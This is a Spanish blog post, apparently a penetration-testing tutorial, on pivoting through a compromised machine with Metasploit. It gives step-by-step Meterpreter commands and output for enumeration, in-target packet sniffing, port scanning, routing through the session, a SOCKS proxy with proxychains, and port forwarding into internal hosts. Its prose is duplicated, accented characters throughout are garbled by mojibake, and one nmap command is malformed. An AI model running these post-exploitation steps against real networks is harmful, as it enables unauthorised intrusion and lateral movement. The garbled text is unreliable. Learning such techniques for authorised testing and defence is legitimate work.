Hoy vamos a empezar con una serie de entradas relacionadas con el pivoting: el proceso de acceder a redes a las que no tenemos acceso en circunstancias normales mediante el uso de computadoras comprometidas. Como punto de partida necesitaremos tener acceso a una m谩quina comprometida en la red objetivo, dependiendo de la configuraci贸n del equipo de la v铆ctima, es posible que necesitemos o no tener root o privilegios de administrador.
En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesi贸n de meterpreter sobre la m谩quina de la v铆ctima.
En una auditor铆a de caja negra o una intrusi贸n real, lo normal es que no tengamos nada de informaci贸n del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeraci贸n inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy 煤til para identificar los host vivos dentro de la subred:
En el caso de que partamos de un equipo Windows, una buena opci贸n es ver las conexiones y los puertos abiertos mediante el m贸dulo de gathering tcp_netstat:
O si el target inicial es Linux tenemos otro m贸dulo muy completo Linux Gather Network Information que recopila informaci贸n de red de las reglas de IPTables del sistema de destino, interfaces, informaci贸n de la red inal谩mbrica, puertos abiertos y de escucha, conexiones de red activas, informaci贸n DNS e informaci贸n SSH.
Para seguir descubriendo informaci贸n de la red objetivo y ver otras redes adyacentes, puede ser interesante usar un sniffer. Metasploit tambi茅n incluye un m贸dulo que puede esnifar paquetes del sistema de destino sin escribir en el sistema de archivos o instalar ning煤n controlador. Adem谩s, el m贸dulo excluye autom谩ticamente su propio tr谩fico de control de la captura de paquetes.
Y, c贸mo no, la opci贸n m谩s cl谩sica de descubrimiento de sistemas en el mismo rango de red es el t铆pico esc谩ner de puertos, para lo que Metasploit dispone de un m贸dulo auxiliar con cinco esc谩neres diferentes para detectar las m谩quinas presentes y los servicios que corren:
Ahora bien, si queremos escanear desde Metasploit los servicios pertenecientes a otras m谩quinas fuera del segmento de red de la m谩quina comprometida, tendremos que a帽adir previamente las rutas correspondientes:
Luego para que otras aplicaciones tengan acceso a las rutas, se necesita un poco m谩s de configuraci贸n. Esto implica la configuraci贸n del m贸dulo de proxy Socks4a de Metasploit y el uso de Proxychains junto con las otras aplicaciones.
El fichero de configuraci贸n de Proxychains est谩 localizado por defectp en /etc/proxychains.conf:
Ahora podemos combinar Proxychains con otras aplicaciones como Nmap, Nessus, Firefox y otras para escanear o acceder a m谩quinas y recursos a trav茅s de las rutas Metasploit.
A veces no obtenemos buenos resultados con algunos programas y proxychains. Para estos casos, podemos reenviar los puertos de una determinada m谩quina a nuestro ordenador. Al ejecutar portfwd en un host comprometido con acceso tanto al atacante como a la red (o sistema) de destino, podemos b谩sicamente reenviar conexiones TCP a trav茅s de esta m谩quina.
Ahora, abrimos un navegador local y podemos acceder a localhost con la siguiente URL:
http://127.0.0.1:8000
Y hasta aqu铆 esta primera entrada de pivoting mediante Metasploit. En las siguientes entradas veremos m谩s t茅cnicas y herramientas para pivotar y poder as铆 conseguir movimiento lateral y avanzar en intrusiones.
En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesi贸n de meterpreter sobre la m谩quina de la v铆ctima.
En una auditor铆a de caja negra o una intrusi贸n real, lo normal es que no tengamos nada de informaci贸n del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeraci贸n inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy 煤til para identificar los host vivos dentro de la subred:
meterpreter > run arp_scanner -r 192.168.2.0/24
[*] ARP Scanning 192.168.2.0/24
[*] IP: 192.168.2.1 MAC 64:68:c:45:71:88
[*] IP: 192.168.2.43 MAC 4c:f:6e:e9:7f:16
En el caso de que partamos de un equipo Windows, una buena opci贸n es ver las conexiones y los puertos abiertos mediante el m贸dulo de gathering tcp_netstat:
msf > use post/windows/gather/tcpnetstat
msf post(tcpnetstat) > sessions
...sessions...
msf post(tcpnetstat) > set SESSION <session-id>
msf post(tcpnetstat) > show options
...show and set options...
msf post(tcpnetstat) > run
O si el target inicial es Linux tenemos otro m贸dulo muy completo Linux Gather Network Information que recopila informaci贸n de red de las reglas de IPTables del sistema de destino, interfaces, informaci贸n de la red inal谩mbrica, puertos abiertos y de escucha, conexiones de red activas, informaci贸n DNS e informaci贸n SSH.
use post/linux/gather/enum_network
msf post(linux/gather/enum_network) > set sessions 5
sessions => 5
msf post(linux/gather/enum_network) > exploit
[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
[*] Post module execution completed
msf post(linux/gather/enum_network) > show options
Module options (post/linux/gather/enum_network):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
msf post(linux/gather/enum_network) > set session 5
session => 5
msf post(linux/gather/enum_network) > run
Para seguir descubriendo informaci贸n de la red objetivo y ver otras redes adyacentes, puede ser interesante usar un sniffer. Metasploit tambi茅n incluye un m贸dulo que puede esnifar paquetes del sistema de destino sin escribir en el sistema de archivos o instalar ning煤n controlador. Adem谩s, el m贸dulo excluye autom谩ticamente su propio tr谩fico de control de la captura de paquetes.
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true
meterpreter > sniffer_start 1 300000
[*] Capture started on interface 1 (300000 packet buffer)
meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
bytes: 17675
packets: 196
meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap
meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
Y, c贸mo no, la opci贸n m谩s cl谩sica de descubrimiento de sistemas en el mismo rango de red es el t铆pico esc谩ner de puertos, para lo que Metasploit dispone de un m贸dulo auxiliar con cinco esc谩neres diferentes para detectar las m谩quinas presentes y los servicios que corren:
- ack – ACK Firewall Scanner
- ftpbounce – Bounce Port Scanner
- syn – SYN Port Scanner
- tcp – Port Scanner
- xmas – “Xmas” Port Scanner
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.2.43
RHOSTS => 192.168.2.43
msf auxiliary(tcp) > set PORTS 1-1024
PORTS => 1-1024
msf auxiliary(tcp) > run
Ahora bien, si queremos escanear desde Metasploit los servicios pertenecientes a otras m谩quinas fuera del segmento de red de la m谩quina comprometida, tendremos que a帽adir previamente las rutas correspondientes:
meterpreter > route add 192.168.33.0/24 5
[*] Route added
meterpreter > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 5
[*] There are currently no IPv6 routes defined.
Adicionalmente disponemos de autoroute automatiza la adicci贸n de las rutas asociadas con la sesi贸n Meterpreter especificada a la tabla de enrutamiento de Metasploit.
meterpreter > run autoroute -s 192.168.33.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.33.0/255.255.255.0...
[+] Added route to 192.168.33.0/255.255.255.0 via 10.10.10.65
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.33.0 255.255.255.0 Session 5
Luego para que otras aplicaciones tengan acceso a las rutas, se necesita un poco m谩s de configuraci贸n. Esto implica la configuraci贸n del m贸dulo de proxy Socks4a de Metasploit y el uso de Proxychains junto con las otras aplicaciones.
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j
El fichero de configuraci贸n de Proxychains est谩 localizado por defectp en /etc/proxychains.conf:
socks4 127.0.0.1 1080
Ahora podemos combinar Proxychains con otras aplicaciones como Nmap, Nessus, Firefox y otras para escanear o acceder a m谩quinas y recursos a trav茅s de las rutas Metasploit.
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24
A veces no obtenemos buenos resultados con algunos programas y proxychains. Para estos casos, podemos reenviar los puertos de una determinada m谩quina a nuestro ordenador. Al ejecutar portfwd en un host comprometido con acceso tanto al atacante como a la red (o sistema) de destino, podemos b谩sicamente reenviar conexiones TCP a trav茅s de esta m谩quina.
msf > sessions -i 1
meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1
[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80
meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5
meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2
[*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22
Ahora, abrimos un navegador local y podemos acceder a localhost con la siguiente URL:
http://127.0.0.1:8000
Y hasta aqu铆 esta primera entrada de pivoting mediante Metasploit. En las siguientes entradas veremos m谩s t茅cnicas y herramientas para pivotar y poder as铆 conseguir movimiento lateral y avanzar en intrusiones.

M铆 no entender escribir para hoy mejorar
ResponderEliminarBuen aporte, gracias
ResponderEliminarWOOWW!! si pesa mas que un polloo!!
ResponderEliminar